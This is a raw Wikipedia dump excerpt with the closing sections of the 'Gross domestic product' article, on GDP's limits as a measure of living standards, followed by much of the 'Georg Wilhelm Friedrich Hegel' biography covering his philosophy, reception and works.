The major advantages to using GDP per capita as an indicator of standard of living are that it is measured frequently, widely and consistently. Frequently in that most countries provide information on GDP on a quarterly basis, which allows a user to spot trends more quickly. Widely in that some measure of GDP is available for practically every [[country]] in the [[world]], which allow crude comparisons between the standard of living in different countries. And consistently in that the technical definitions used within GDP are relatively consistent between countries, and so there can be confidence that the same thing is being measured in each country.

The major disadvantage of using GDP as an indicator of standard of living is that it is not, strictly speaking, a measure of standard of living. GDP is intended to be a measure of particular types of economic activity within a country. Nothing about the definition of GDP suggests that it is necessarily a measure of standard of living. For instance, in an extreme example, a country which exported 100 per cent of its production would still have a high GDP, but a very poor standard of living.

The argument in favour of using GDP is not that it is a good indicator of standard of living, but rather that (all other things being equal) standard of living tends to increase when GDP per capita increases. This makes GDP a [[proxy]] for standard of living, rather than a direct measure of it.

There are a number of [[Gross_domestic_product#Controversies|controversies]] about this use of GDP.

== Controversies ==
 
Although GDP is widely used by economists, its value as an indicator for the [[standard of living]] has also been the subject of controversy (an alternative is the United Nations' [[Human Development Index]]). Criticisms of how the GDP is used include:
* GDP doesn't take into account the [[black market]], where the money spent isn't registered, and the non-monetary economy, where no money comes into play at all, resulting in inaccurate or abnormally low GDP figures. For example, in countries with major business transactions occurring informally, portions of local economy are not easily registered. [[Barter]]ing may be more prominent than the use of money, even extending to services (I helped you build your house ten years ago, so now you help me).
* Very often different calculations of GDP are confused among each other. For cross-border comparisons one should especially regard whether it is calculated by [[purchasing power parity]] (PPP) method or current [[exchange rate]] method.
* Quality of life is determined by many other things than physical goods (economic or not).
* As the single most important figure in statistics it is subject to fraud, such as the usage of hedonic price indexing on official gdp numbers in the US, thereby creating investments out of nothing while statistically dampening inflation.
* Crossborder trade within companies distorts the GDP and is done frequently to escape high taxation. Examples include the German Ebay that evades German tax by doing business over Switzerland, and American companies that have founded holdings in Ireland to &quot;buy&quot; their own products for cheap from their continental factories (without shipping) and selling them for profit via Ireland - thereby reducing their taxes and increasing Irish GDP.
* In 'poor' countries, it may just be that ''everything'' is cheap, [[Penn effect|except for a few western goods]]. So one may have little money, but if everything is cheap that evens out nicely. Thus, the [[standard of living]] may be quite reasonable, it's just that there are, say, fewer TV-sets, meaning people have to share them. 
* If many products are of low quality in terms of durability then people will have to (unnecessarily) buy them again and again, thus boosting GDP without increasing their satisfaction. (On the other hand, if products were very durable then that would hamper innovation because people would be less inclined to buy new products, giving producers less of an incentive to develop them.) Similarly, if many products are of low quality in terms of usability and people don't know beforehand which products are the best choice for them, then they will either have to make do with an inferior product or buy again and again until they find something more satisfying. Furthermore, if products have a short lifespan in the market (eg because of fast innovation or fashion) then this process starts all over again when people need a replacement. Note that in a capitalist society these factors working together can easily cause a very high GDP combined with low customer satisfaction.
* If a nation doesn't spend but saves and invests overseas, such as Japan, its GDP will be diminished in comparison to one that spends borrowed money, like the US, thus accumulated savings and debt are not taken into account so long as adequate financing continues to happen.
* GDP doesn't measure the [[sustainable development|sustainability of growth]]. A country may achieve a temporary high GDP by over-exploiting natural resources or by misallocating investment. For example, the large deposits of [[phosphates]] gave the people of [[Nauru]] one of the highest per capita incomes on earth, but since 1989 standard of living has declined sharply as the supply and demand has run out. Oil rich states can sustain high GDPs without industrializing, but this high level will not be sustainable past the point that the oil runs out. Economies experiencing an [[asset bubble]], such as a [[housing bubble]] or stock bubble, or a low private saving rate tend appear to grow faster due to higher consumption, mortgaging their futures for present growth.  Environmental degradation at the expense of economic growth can end up costing dearly to clean up, GDP doesn't account for this in places such as China. 
* GDP counts work that produces no net change. For instance, a hurricane destroying thousands of homes would not be counted by GDP, but the rebuilding of those homes would be.   A good recent example would be the aftermath of 2005 Katrina hurricane, which is poised to become the most expensive hurricane in history. GDP would capture the rebuilding activity and suggest a rising living standard, but we're only working toward restoring what was lost for the most part. Therefore, GDP growth would over-estimate the increase in the standard of living. See [[externality|Negative externalities]].
* As a measure of actual sale prices, GDP does not capture the [[economic surplus]] between the price paid and subjective value received.  
* the annual growth of real GDP is adjusted by using the &quot;[[GDP deflator]]&quot;, which tends to underestimate the objective differences in the quality of manufactured output over time. (The deflator is explicitly based on [[subjective]] experience when measuring such things as the consumer benefit received from [[Moore's law|computer-power improvements]] since the early [[1980s]]). Therefore the GDP figure may underestimate the degree to which improving technology and quality-level are increasing the real standard of living.
* Some economists such as [[Herman Daly]] consider GDP to be a poor measure even of ''material well being'', especially in developed countries. They argue that GDP only measures production and consumption, not however the level of [[utility]] people gain from producing and consuming.  This idea is expressed in the theory of [[uneconomic growth]], which states that GDP growth above a certain &quot;economic limit&quot; actually decreases material well being. An extreme example of this is a major war. Historically, GDP growth was often boosted in war time while material living standards fell considerably.
* GDP does not take [[social inequality|inequality]] into account.

Some economists have attempted to create a replacement for GDP called the [[Genuine Progress Indicator]] (GPI), which attempts to address many of the above criticisms.  Many nations calculate a [[national wealth]], a sum of all assets in a nation, but again doesn't account for future obligations such as environmental degradation, asset bubbles, and debt. Other nations such as [[Bhutan]] have advocated [[gross national happiness]] as a standard of living, claiming itself as the world's happiest nation.

==Lists of countries by their GDP==
* [[List of countries by GDP (nominal)]]
* [[List of countries by GDP (PPP)]]
* [[List of countries by GDP (nominal) per capita]]
* [[List of countries by GDP (PPP) per capita]]
* [[List of African countries by GDP]]
* [[List of Asian countries by GDP]]
* [[List of European countries by GDP]]

==See also==
* [[GDP deflator]]
* [[Gross value added]]
* [[Measures of national income]]
* [[Natural gross domestic product]]
* [[Uneconomic growth]]
*[[Value added]]
* [[Genuine Progress Indicator]]

==External links==
*[http://www.wie.org/business Frank Dixon from Innovest Partners writes about Why Gross National Happiness is a better indicator of National Happiness and the failures of GNP and Western Economic Systems]
* [http://www.abs.gov.au/Ausstats/abs@.nsf/66f306f503e529a5ca25697e0017661f/3f880ee1d366198cca2569a400061616!OpenDocument Australian Bureau of Statistics Manual on GDP measurement]
* [http://perso.wanadoo.fr/pgreenfinch/eoblpib.htm GDP-indexed bonds]
===Data===
* [http://www.bea.gov/bea/dn/home/gdp.htm Bureau of Economic Analysis: Offical United States GDP data]
* [http://english.historia.se Historicalstatistics.org: Links to historical statistics on GDP for different countries and regions]
*Complete listing of countries by GDP:  [http://aol.countrywatch.com/includes/grank/globrank.asp?TBLS=PPP+Method+Tables&amp;vCOUNTRY=17&amp;TYPE=GRANK Purchasing Power Parity Method] and [http://aol.countrywatch.com/includes/grank/gdpnumericcer.asp?TYPE=GRANK&amp;TBL=NUMERICCER&amp;vCOUNTRY=17 Current Exchange Rate Method ]

===Articles and books===
* [http://dieoff.org/page11.htm What's wrong with the GDP?]
* [http://ingrimayne.saintjoe.edu/econ/Measuring/GNP2.html  Limitations of GDP Statistics by Schenk, Robert.]
* [http://pages.stern.nyu.edu/~nroubini/MEASURE.HTM whether output and CPI inflation are mismeasured, by Nouriel Roubini and David Backus, in Lectures in Macroeconomics]
* [http://william-king.www.drexel.edu/top/prin/txt/EcoToC.html Ch. 22. Measuring the National Economy, by Dr. Roger A. McCain]
* [http://www.diva-portal.org/diva/getDocument?urn_nbn_se_su_diva-378-1__fulltext.pdf Growth, Accumulation, Crisis: With New Macroeconomic Data for Sweden 1800-2000 by Rodney Edvinsson]

[[Category:Economic indicators]]
[[Category:Macroeconomics]]
[[Category:Socioeconomics]]

[[af:Bruto nasionale produk]]
[[be:Сукупны ўнутраны прадукт]]
[[bg:Брутен вътрешен продукт]]
[[cs:Hrubý domácí produkt]]
[[da:BNI per indbygger]]
[[de:Bruttoinlandsprodukt]]
[[et:SKT]]
[[es:Producto Nacional Bruto]]
[[eo:Malneta Enlanda Produkto]]
[[fr:Produit intérieur brut]]
[[id:Produk domestik bruto]]
[[is:Landsframleiðsla]]
[[it:Prodotto Interno Lordo]]
[[he:תוצר מקומי גולמי]]
[[lv:Iek&amp;#353;zemes kopprodukts]]
[[lt:Bendras Vidaus Produktas]]
[[nl:Bruto Nationaal Product]]
[[ko:국내총생산]]
[[hu:Bruttó hazai termék]]
[[ja:国内総生産]]
[[no:Bruttonasjonalprodukt]]
[[pl:Produkt krajowy brutto]]
[[pt:Produto Interno Bruto]]
[[ro:Produs intern brut]]
[[ru:Валовый внутренний продукт]]
[[simple:Gross Domestic Product]]
[[sl:Bruto domači proizvod]]
[[sr:Бруто домаћи производ]]
[[sv:Bruttonationalprodukt]]
[[fi:BKT]]
[[th:ผลิตภัณฑ์มวลรวมภายในประเทศ]]
[[tr:Gayri Safi Milli Hasıla]]
[[vi:Tổng sản phẩm quốc nội]]
[[zh:国内生产总值]]</text>
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    <title>Gasoline engine</title>
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        <username>Interiot</username>
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  <page>
    <title>Georg Wilhelm Friedrich Hegel</title>
    <id>12598</id>
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      <comment>/* Secondary literature */</comment>
      <text xml:space="preserve">{{Infobox_Philosopher |
  &lt;!-- Scroll down to edit this page --&gt;
  &lt;!-- Philosopher Category --&gt;
  region          = Western Philosophers |
  era             = [[19th century philosophy]] |
  color           = #B0C4DE |

  &lt;!-- Image and Caption --&gt;
  image_name      = Hegel.jpg |
  image_caption   = G.W.F. Hegel |

  &lt;!-- Information --&gt;
  name             = Georg Wilhelm Friedrich Hegel |
  birth            = [[August 27]], [[1770]] ([[Stuttgart]], [[Germany]]) |
  death            = [[November 14]], [[1831]] ([[Berlin]], [[Germany]]) |
  school_tradition = [[Hegelianism]] |
  main_interests   = [[Logic]], [[Philosophy of history]], [[Aesthetics]], [[Religion]], [[Metaphysics]], [[Epistemology]], [[Political Science]], |
  influences       = [[Aristotle]], [[Anselm]], [[Rene Descartes|Descartes]], [[Baruch Spinoza|Spinoza]], [[Jean-Jacques Rousseau|Rousseau]], [[Jacob Boehme|Boehme]], [[Immanuel Kant|Kant]], [[Johann Gottlieb Fichte|Fichte]], [[Friedrich Wilhelm Joseph Schelling|Schelling]] |
  influenced = [[Søren Kierkegaard|Kierkegaard]], [[Ludwig Feuerbach|Feuerbach]], [[Karl Marx|Marx]], [[Friedrich Engels|Engels]], [[Bruno Bauer]],&lt;br&gt;[[F. H. Bradley]], [[Vladimir Lenin|Lenin]], [[Leon Trotsky|Trotsky]], [[Martin Heidegger|Heidegger]], [[Jean-Paul Sartre|Sartre]],&lt;br&gt;[[Karl Barth]],&lt;br&gt;[[Hans Küng]], [[Jürgen Habermas|Habermas]], [[Hans-Georg Gadamer|Gadamer]]|
  notable_ideas    = [[Absolute idealism]], [[Dialectic]]|
}}
'''Georg Wilhelm Friedrich Hegel''' [{{IPA|ˈgeːɔrk ˈvɪlhɛlm ˈfriːdrɪç ˈheːgəl}}] ([[August 27]], [[1770]]&amp;ndash;[[November 14]], [[1831]]) was a [[German people|German]] [[philosopher]] born in [[Stuttgart]], [[Württemberg]], in present-day southwest [[Germany]]. His influence has been widespread on writers of widely varying positions, including both his admirers ([[F. H. Bradley]], [[Jean-Paul Sartre|Sartre]]), and his detractors ([[Kierkegaard]], [[Schopenhauer]], [[Heidegger]]).  He is best known for attempting to elaborate a comprehensive and systematic [[ontology]] from a logical starting point.

==Teachings==
Hegel was fascinated by the works of [[Baruch Spinoza|Spinoza]], [[Immanuel Kant|Kant]], [[Jean-Jacques Rousseau|Rousseau]], and [[Johann Wolfgang von Goethe|Goethe]], and by the [[French Revolution]].  Modern philosophy, culture, and society seemed to Hegel fraught with contradictions and tensions, such as those between the subject and object of [[knowledge]], mind and nature, [[Self_%28philosophy%29|self]] and [[Other|other]], freedom and authority, knowledge and faith, the [[Age of Enlightenment|Enlightenment]] and [[Romanticism]]. Hegel's main philosophical project was to take these contradictions and tensions and interpret them as part of a comprehensive, evolving, rational unity that, in different contexts, he called &quot;the absolute idea&quot; or &quot;absolute knowledge&quot;. 

According to Hegel, the main characteristic of this [[unity]] was that it [[evolve]]d through and [[manifest]]ed itself in [[contradiction]] and [[negation]].  Contradiction and negation have a [[dynamic]] quality that at every point in each [[domain]] of [[reality]] &amp;mdash; [[consciousness]], [[history]], [[philosophy]], [[art]], [[nature]], [[society]] &amp;mdash; leads to further development until a [[rationality|rational]] unity is reached that preserves the contradictions as phases and sub-parts of a larger, evolutionary whole.  This whole is [[mental]] because it is [[mind]] that can comprehend all of these phases and sub-parts as steps in its own process of comprehension.  It is rational because the same, underlying, [[logic]]al, developmental order underlies every domain of reality and is ultimately the order of self-conscious rational thought, although only in the later stages of development does it come to full self-consciousness. The rational, self-conscious [[whole]] is not a thing or [[being]] that lies outside of other existing things or minds.  Rather, it comes to completion only in the philosophical comprehension of individual existing human minds who, through their own understanding, bring this developmental process to an understanding of itself.  

Central to Hegel's [[conception]] of [[knowledge]] and mind (and therefore also of reality) was the notion of [[identity]] in [[difference]], that is that mind [[externalization|externalizes]] itself in various forms and [[object]]s that stand outside of it or opposed to it, and that, through recognizing itself in them, is &quot;with itself&quot; in these external manifestations, so that they are at one and the same time mind and other-than-mind.  This notion of identity in difference, which is intimately bound up with his conception of contradiction and negativity, is a principal feature differentiating Hegel's thought from that of other philosophers.

Many consider Hegel's thought to represent the summit of early 19th century Germany's movement of philosophical [[idealism]]. It would come to have a profound impact on many future philosophical schools, including schools that opposed Hegel's specific dialectical idealism, such as [[Existentialism]], the [[historical materialism]] of [[Karl Marx]], [[historicism]], and [[British idealism|British Idealism]]. At the same time, modern [[Analytic_philosophy|analytic]] and [[Logical_positivism|positivistic]] philosophers have considered Hegel a principal target because of what they consider the [[obscurantism]] of his philosophy (though some Germans, notably Schopenhauer, shared that criticism of his thought).  Hegel was aware of his 'obscurantism' and saw it as part of philosophical thinking that grasps the limitations of everyday thought and concepts and tries to go beyond them.  Hegel wrote in his essay &quot;Who Thinks Abstractly?&quot; that it is not the philosopher who thinks abstractly but the person on the street, who uses concepts as fixed, unchangeable [[given]]s, without any [[context]].  It is the philosopher who thinks concretely, because he or she goes beyond the limits of everyday [[concept]]s and understands their larger context.  This can make philosophical thought and language seem mysterious or obscure to the person on the street.

Hegel influenced [[Kierkegaard]], [[Feuerbach]], [[Marx]], and [[Engels]], although all of them  opposed the most central themes of Hegel's philosophy.  Hegel did not have any influence on the [[German_nationalism|nationalist movement]] in Germany.  After less than a generation, Hegel's philosophy was suppressed and even banned by the [[Prussia]]n [[right-wing]], and was firmly rejected by the [[left-wing]] in multiple official writings.  After the period of [[Bruno Bauer]], Hegel's influence did not make itself felt again until the philosophy of [[British idealism|British Idealism]] and the 20th century Hegelian [[Neo-Marxism]] that began with [[Georg Lukács]].

==Life and work==
Hegel was born in [[Stuttgart]] on [[27 August]], [[1770]].  As a child he was a voracious reader of literature, newspapers, philosophical essays, and writings on various other topics.  In part, Hegel's literate childhood can be attributed to his uncharacteristically progressive mother who actively nurtured her children's intellectual development.  The Hegels were a well-established middle class family in [[Stuttgart]]. His father was a [[civil service|civil servant]] in the administrative government of [[Württemberg]].  Georg was a sickly child and almost died of illness before he was six.  

He received his education at the [[Tübinger Stift]] (seminary of the [[Protestant Church]] in Württemberg), where he was friends with the future philosopher [[Friedrich Schelling]] and the poet [[Friedrich Hölderlin]].  In their shared dislike for what was regarded as the restrictive environment of the [[Tübingen]] seminary, the three became close friends and mutually influenced each other's ideas.  The three watched the unfolding of the [[French Revolution]] and immersed themselves in the emerging criticism of the [[idealist]] philosophy of [[Immanuel Kant]]. To be more precise, Hölderlin and Schelling immersed themselves in debates on Kantian philosophy; Hegel's interest only came later, after his own abortive attempts to work out a popular philosophy - which was his original ambition. The Popularphilosophen were writers who introduced and debated issues of the day, a way of promoting the values of the Enlightenment. Most of them were informed by English or Scottish thinkers such as Locke or Reid; Hegel wanted to &quot;complete&quot; the critical philosophy of Kant in the mode of a Popularphilosoph. At Tübingen he was skeptical of the highly theoretical (and technical) discussions that Hölderlin and Schelling engaged in. It was only in 1800 that Hegel admitted the need to resolve the difficulties of the Kantian system before it could hope to be put into practice.

Hegel published only four books during his life: the ''[[Phenomenology of Spirit]]'' (or ''Phenomenology of Mind''), his account of the evolution of consciousness from sense-perception to absolute knowledge, published in [[1807]]; the ''[[Science of Logic]]'', the logical and [[metaphysics|metaphysical]] core of his philosophy, in three volumes, published in [[1811]], [[1812]], and [[1816]] (revised 1831); ''[[Encyclopedia of the Philosophical Sciences]]'', a summary of his entire philosophical system, which was originally published in [[1816]] and revised in [[1827]] and [[1830]]; and the ''(Elements of the) Philosophy of Right'', his political philosophy, published in [[1822]]. He also published some articles early in his career and during his Berlin period. A number of other works on the [[philosophy of history]], [[Philosophy_of_religion|religion]], [[aesthetics]], and the [[history of philosophy]] were compiled from the lecture notes of his students and published posthumously.

[[Image:Hegelgrave.jpg|thumb|left|Hegel's Grave in Berlin]]Hegel's works have a reputation for their difficulty, and for the breadth of the topics they attempt to cover. Hegel introduced a system for understanding the [[history of philosophy]] and the world itself, often described as a ''progression in which each successive movement emerges as a solution to the contradictions inherent in the preceding movement''. For example, the [[French Revolution]] for Hegel constitutes the introduction of real [[Freedom (political)|freedom]] into [[Western world|Western societies]] for the first time in recorded history. But precisely because of its absolute novelty, it is also absolutely radical: on the one hand the upsurge of violence required to carry out the revolution cannot cease to be itself, while on the other, it has already consumed its opponent. The revolution therefore has nowhere to turn but onto its own result: the hard-won freedom is consumed by a brutal [[Reign of Terror]]. History, however, progresses by learning from its mistakes: only after and precisely because of this experience can one posit the existence of a [[constitution]]al [[state]] of free citizens, embodying both the benevolent organizing power of rational [[government]] and the revolutionary ideals of freedom and equality.

Hegel's dense and demanding writing style can be difficult to read; he is described by [[Bertrand Russell]] in the ''History of Western Philosophy'' as the single most difficult philosopher to understand.  This is partly because Hegel tried to develop a new form of thinking and logic, which he called &quot;[[speculative reason]]&quot; and which is today popularly called &quot;[[dialectic]],&quot; to try to overcome what he saw as the limitations of both common sense and of traditional philosophy at grasping philosophical problems and the relation between thought and reality.  His work also can be perplexing for modern audiences because he had a [[teleological]] and rationalistic view of human society and history that are at odds with recent intellectual trends.  And for English readers there is the additional challenge posed by the difficulty of translating his terminology and idiom into English.

==Hegel's legacy==
Some of Hegel's writing was intended for those with advanced knowledge of philosophy, although his &quot;Encyclopedia&quot; was intended as a [[textbook]] in a [[university]] [[course (education)|course]]. Nevertheless, like many philosophers, Hegel assumed that his readers would be well-versed in [[Western philosophy]], up to and including [[Descartes]], [[Spinoza]], [[Hume]], [[Kant]], [[Fichte]], and [[Schelling]].  For those wishing to read his work without this background, introductions to Hegel and commentaries about Hegel may suffice. However, even this is hotly debated since the reader must choose from multiple interpretations of Hegel's writings from incompatible schools of philosophy.  Reading Hegel directly would be the best way to learn about Hegel, but this task has historically proved to be beyond the average reader of philosophy. This difficulty may be the most urgent problem with respect to the legacy of Hegel.

One especially difficult aspect of Hegel's work is his innovation in logic.  In response to Immanuel Kant's challenge to the limits of [[Critique of Pure Reason|Pure Reason]], Hegel developed a radically new form of logic, which he called ''speculation'', and which is today popularly called [[dialectic]]s.  The difficulty in reading Hegel was perceived in Hegel's own day, and persists into the 21st century.  To understand Hegel fully requires paying attention to his critique of standard logic, such as the [[law of contradiction]] and the [[law of the excluded middle]], and, whether one accepts or rejects it, at least taking it seriously.  Many philosophers who came after Hegel and were influenced by him, whether adopting or rejecting his ideas, did so without fully absorbing his new speculative or dialectical logic.

===Left and right Hegelianism===
Another confusing aspect about the interpretation of Hegel's work is the fact that past historians have spoken of Hegel's influence as represented by two opposing camps. The [[Right Hegelians]], the allegedly direct disciples of Hegel at the Friedrich-Wilhelms-Universität (now known as the [[Humboldt University of Berlin|Humboldt-Universität zu Berlin]]), advocated a Protestant orthodoxy and the political conservatism of the post-[[Napoleon I of France|Napoleon]] Restoration period.  The [[Left Hegelians]], also known as the [[Young Hegelians]], interpreted Hegel in a revolutionary sense, leading to an advocation of [[atheism]] in religion and [[liberal democracy]] in politics. 

In more recent studies, however, this old paradigm has been questioned.  For one thing, no Hegelians of the period ever referred to themselves as Right Hegelians.  That was a term of insult that [[David Strauss]] (a self-styled Left Hegelian) hurled at [[Bruno Bauer]] (who has most often been classified by historians as a Left Hegelian, but who rejected both titles for himself).  For another thing, no self-styled &quot;Left Hegelian&quot; described himself as a follower of Hegel.  This includes Karl Marx.  Several &quot;Left Hegelians&quot; openly repudiated or insulted the legacy of Hegel's philosophy.  Even Marx stated that to make Hegel's philosophy useful for his purposes, he had to &quot;turn Hegel upside down.&quot;  Perhaps it is more accurate to say that the so-called &quot;Left Hegelian&quot; movement was actually an anti-Hegelian movement.  

Nevertheless, this historical category continues to persist in modern literature. The critiques of Hegel offered from the &quot;Left Hegelians&quot; led the line of Hegel's thinking into radically new directions&amp;mdash;and form a disproportionately  large part of the literature on and about Hegel.

20th century interpretations of Hegel have been shaped by several schools of thought:  [[British idealism|British Idealism]], [[logical positivism]], [[Marxism]], [[Fascism]] and [[postmodernism]].  Since the fall of the [[USSR]], a new wave of Hegel scholarship has arisen in the West, without the preconceptions of these particular schools of thought.  [[Walter Jaeschke]] and [[Otto Poeggler]] in Germany, as well as [[Peter Hodgson]] and [[Howard Kainz]] in America, are notable in this regard.

===Triads===
In previous modern accounts of Hegelianism (to undergraduate classes, for example), Hegel's dialectic was most often characterized as a three-step process of &quot;[[Thesis, antithesis, synthesis]]&quot;, namely, that a &quot;thesis&quot; (e.g. the French Revolution) would cause the creation of its &quot;antithesis&quot; (e.g. the Reign of Terror that followed), and would eventually result in a &quot;synthesis&quot; (e.g. the Constitutional state of free citizens).  However, Hegel used this classification only once, and he attributed the terminology to Immanuel Kant.  The terminology was largely developed earlier by Fichte the neo-Kantian. It was spread by Friedrich Moritz Chalybäus in a popular account of Hegelian philosophy, and since then the misfit terms have stuck. 

Believing that the traditional description of Hegel's philosophy in terms of thesis-antithesis-synthesis was mistaken, a few scholars, like [[Raya Dunayevskaya]] have attempted to discard the triadic approach altogether.  According to their argument, although Hegel refers to ''&quot;the two elemental considerations: first, the idea of freedom as the absolute and final aim; secondly, the means for realising it, i.e. the subjective side of knowledge and will, with its life, movement, and activity&quot;'' (thesis and antithesis) he doesn't use &quot;synthesis&quot; but instead speaks of the ''&quot;Whole&quot;'': ''&quot;We then recognised the State as the moral Whole and the Reality of Freedom, and consequently as the objective unity of these two elements.&quot;''  Furthermore, in Hegel's language, the &quot;dialectical&quot; aspect or &quot;moment&quot; of thought and reality, by which things or thoughts turn into their opposites or have their inner contradictions brought to the surface, is only preliminary to the &quot;speculative&quot; (and not &quot;synthesizing&quot;) aspect or &quot;moment&quot;, which grasps the unity of these opposites or contradiction.  Thus for Hegel, reason is ultimately &quot;speculative&quot;, not &quot;dialectical&quot;.

To the contrary, scholars like [[Howard Kainz]] explain that Hegel's philosophy contains thousands of triads.  However, instead of &quot;thesis-antithesis-synthesis,&quot; Hegel used different terms to speak about triads, for example, &quot;immediate-mediate-concrete,&quot; as well as, &quot;abstract-negative-concrete.&quot;  Hegel's works speak of synthetic logic.  Nevertheless, it is widely admitted today that the old-fashioned description of Hegel's philosophy in terms of &quot;thesis-antithesis-synthesis&quot; was always inaccurate. At the same time, however, those same terms survive in scholarly works, such is the persistence of this misnomer.

===Detractors===
Hegel used his system of dialectics to explain the whole of the history of [[philosophy]], [[science]], [[art]], [[politics]] and [[religion]], but he has had many critics over the centuries.  

Some critics suggested that Hegel seems to gloss over the realities of history in order to fit it into his dialectical mold. [[Karl Popper]], a critic of Hegel in ''[[The Open Society and Its Enemies]]'', suggests that Hegel's system forms a thinly veiled justification for the rule of [[Frederick William III of Prussia| Frederick William III]], and that Hegel's idea of the ultimate goal of history is to reach a state approximating that of 1830s [[Prussia]].  This view of Hegel as an apologist of state power and precursor of 20th century [[totalitarianism]] was criticized by [[Herbert Marcuse]] in his ''Reason and Revolution: Hegel and the Rise of Social Theory'', on the grounds that Hegel was not an apologist for any state or form of authority simply because it existed: for Hegel the state must always be rational.  Other scholars, e.g. [[Walter Kaufmann]], have also criticized Popper's theories about Hegel[http://www.marxists.org/reference/subject/philosophy/works/us/kaufmann.htm]. An analysis against Popper's arguments can also be found in Joachim Ritter's influential work, ''Hegel and the French Revolution''. 

[[Søren Kierkegaard]], one of Hegel's earliest critics, criticized Hegel's &quot;absolute knowledge&quot; unity, not only because it was arrogant for a mere human to claim such a unity, but also because such a system negates the importance of the individual in favour of the whole unity.  In ''[[Concluding Unscientific Postscript]]'', one of Kierkegaard's main attacks of Hegel, Johannes Climacus, Kierkegaard's pseudonymous author, writes: ''&quot;So-called systems have often been characterized and challenged in the assertion that they abrogate the distinction between good and evil, and destroy freedom.  Perhaps one would express oneself quite as definitely, if one said that every such system fantastically dissipates the concept existence. ... Being an individual man is a thing that has been abolished, and every speculative philosopher confuses himself with humanity at large; whereby he becomes something infinitely great, and at the same time nothing at all.&quot;''

[[Arthur Schopenhauer]] despised Hegel on account of the latter's alleged [[historicism]] (among other reasons), and decried Hegel's work as [[Obscurantism|obscurantist]] &quot;[[pseudo-philosophy]]&quot;. [[Schopenhauer]], once a colleague of Hegel's at the University of Berlin said: &quot;''The height of audacity in serving up pure nonsense, in stringing together senseless and extravagant mazes of words, such as had been only previously known in madhouses, was finally reached in Hegel, and became the instrument of the most barefaced, general mystification that has ever taken place, with a result which will appear fabulous to posterity, as a monument to German stupidity.&quot;''

Some newer philosophers who prefer to follow the tradition of [[analytic philosophy|British Philosophy]] have made similar statements. In Britain, Hegel exercised an influence on the philosophical school called &quot;[[British idealism|British Idealism]],&quot; which included [[Francis Herbert Bradley]] and [[Bernard Bosanquet (philosopher)|Bernard Bosanquet]], in England, and [[Josiah Royce]] at Harvard. [[Analytic philosophy]], which dominated philosophy departments in the United States and the United Kingdom, was virtually founded when [[G. E. Moore]] and [[Bertrand Russell]] rejected British Idealism and their colleagues' admiration for Hegel. Hegel remained largely out of fashion in these departments for much of the twentieth century.

[[Eric Voegelin]], [[philosophy of history|philosopher of history]], after quoting from the works of both Hegel and [[Martin Heidegger]], commented as follows:&lt;blockquote&gt;In the quoted texts the reader will have recognized Hegel's [[alienation|alienated]] spirit and Heidegger's flungness (''Geworfenheit'', often translated as &quot;thrown-ness&quot;) of human existence. This similarity in symbolic expression results from a homogeneity in experience of the world. And the homogeneity goes beyond the experience of the world to the image of man and salvation with which both the modern and the ancient Gnostics respond to the condition of 'flungness' in the alien world. If man is to be delivered from the world, the possibility of deliverance must first be established in the order of being.&lt;/blockquote&gt;Voegelin's point was that it is precisely our choice to regard the world as alien which renders us &quot;flung&quot; (or &quot;thrown&quot;) into it.

===Advocates===
In the latter half of the 20th century, Hegel's philosophy underwent a major renaissance. This was due to: (a) the rediscovery and reevaluation of Hegel as a possible philosophical progenitor of Marxism by philosophically oriented Marxists; (b) a resurgence of the historical perspective that Hegel brought to everything; and (c) an increasing recognition of the importance of his dialectical method. 

The book that did the most to reintroduce Hegel into the Marxist canon was perhaps [[Georg Lukács]]' ''History and Class Consciousness''. This sparked a renewed interest in Hegel reflected in the work of [[Herbert Marcuse]], [[Theodor Adorno]], [[Ernst Bloch]], [[Raya Dunayevskaya]], [[Alexandre Kojeve]] and [[Gotthard Günther]] among others.  The Hegel renaissance also highlighted the significance of Hegel's early works, i.e. those published prior to the ''[[Phenomenology of Spirit]]''. 

Beginning in the [[1960s]], Anglo-American Hegel scholarship has attempted to challenge the traditional interpretation of Hegel as offering a metaphysical system.  This view, sometimes referred to as the 'non-metaphysical option', has had a decided influence on many major English language studies of Hegel in the past 40 years.  

U.S. [[neoconservative]] [[political science|political theorist]] [[Francis Fukuyama]]'s controversial book ''The End of History and the Last Man'' was heavily influenced by [[Alexandre Kojeve]], a famous Hegel interpreter from the Marxist school. Among modern scientists, the physicist [[David Bohm]], the mathematician [[William Lawvere]], the logician [[Kurt Gödel]] and the biologist [[Ernst Mayr]] have been deeply interested in or influenced by Hegel's philosophical work.  The contemporary theologian [[Hans Küng]] has also advanced contemporary scholarship in Hegel studies.  Recently, two prominent American philosophers, [[John McDowell]] and [[Robert Brandom]] (sometimes, half-seriously, referred to as the [[University of Pittsburgh|Pittsburgh]] Hegelians), have produced philosophical works exhibiting a marked Hegelian influence. 

Beginning in the [[1990s]], after the fall of the [[USSR]], a fresh reading of Hegel took place in the West.  For these scholars, fairly well represented by the Hegel Society of America and in cooperation with German scholars such as [[Otto Poeggler]] and [[Walter Jaeschke]], Hegel's works should be read without preconceptions.  Marx plays a minor role in these new readings, and some contemporary scholars have suggested that Marx's interpretation of Hegel is irrelevant to a proper reading of Hegel.  

Since 1990, new aspects of Hegel's philosophy have been published that were not typically seen in the West.  One example is the idea that the essence of Hegel's philosophy is the idea of [[freedom]].  With the idea of ''freedom'', Hegel attempts to explain [[world history]], [[fine art]], [[political science]], the free thinking that is [[science]], the attainment of [[spirituality]], and the resolution to problems of metaphysics.

==Major works==
*''[[Phenomenology of Spirit]]'' (''Phänomenologie des Geistes'' Sometimes translated as ''Phenomenology of Mind'') [[1807]] 
*''[[Science of Logic]]'' (''Wissenschaft der Logik'') [[1812]]&amp;ndash;[[1816]] (last edition of the first part [[1831]])
*''[[Encyclopedia of the Philosophical Sciences]]'' (''Enzyklopaedie der philosophischen Wissenschaften'') [[1817]]&amp;ndash;[[1830]]
*''[[Elements of the Philosophy of Right]]'' (''Grundlinien der Philosophie des Rechts'') [[1821]]
*''[[Lectures on Aesthetics]]''
*''[[Lectures on the Philosophy of World History]]''
*''[[Lectures on the History of Philosophy]]''
*''[[Lectures on Philosophy of Religion]]''

==Secondary literature==
*[[Theodor W. Adorno]], ''Hegel: Three Studies.'' Cambridge, Mass.: MIT Press, 1994, translated by Shierry M. Nicholsen, with an introduction by Shierry M. Nicholsen and Jeremy J. Shapiro, ISBN 0262510804 (essays on Hegel's concept of spirit/mind, Hegel's concept of experience, and why Hegel is difficult to read).
*[[Frederick C. Beiser]], editor, ''The Cambridge Companion to Hegel''. New York: Cambridge University Press, 1993. ISBN 0521387116 (The Cambridge Companions are always a good way to start learning about a particular philosopher, and this ''Companion'' is no exception.)
